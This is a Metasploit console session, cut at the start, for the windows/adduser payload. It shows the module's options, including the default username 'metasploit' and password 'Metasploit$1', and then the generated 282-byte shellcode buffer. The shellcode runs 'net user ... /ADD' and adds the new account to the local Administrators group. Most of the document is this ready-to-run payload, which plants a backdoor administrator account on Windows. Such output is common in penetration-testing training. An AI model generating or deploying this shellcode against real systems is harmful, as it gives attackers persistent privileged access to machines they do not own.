reverse_http) > use payload/windows/adduser
msf payload(adduser) > info

[*] Using WMIC to discover the administrative group name

       Name: Windows Execute net user /ADD
     Module: payload/windows/adduser
   Platform: Windows
       Arch: x86
Needs Admin: Yes
 Total size: 443
       Rank: Normal

Provided by:
  hdm <x@hdm.io>
  Chris John Riley
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
CUSTOM                     no        Custom group name to be used instead of default
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
PASS      Metasploit$1     yes       The password for this user
USER      metasploit       yes       The username to create
WMIC      false            yes       Use WMIC on the target to resolve administrators group

Description:
  Create a new user and add them to local administration group. Note: 
  The specified password is checked for common complexity requirements 
  to prevent the target machine rejecting the user for failing to meet 
  policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 
  1 digit/special)


msf payload(adduser) > generate
# windows/adduser - 282 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process, 
# USER=metasploit, PASS=Metasploit$1, CUSTOM=, WMIC=false, 
# COMPLEXITY=true
buf = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" +
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" +
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e" +
"\x65\x74\x20\x75\x73\x65\x72\x20\x6d\x65\x74\x61\x73\x70" +
"\x6c\x6f\x69\x74\x20\x4d\x65\x74\x61\x73\x70\x6c\x6f\x69" +
"\x74\x24\x31\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65" +
"\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41" +
"\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20" +
"\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x20\x2f\x41\x44" +
"\x44\x00"
msf payload(adduser) > 

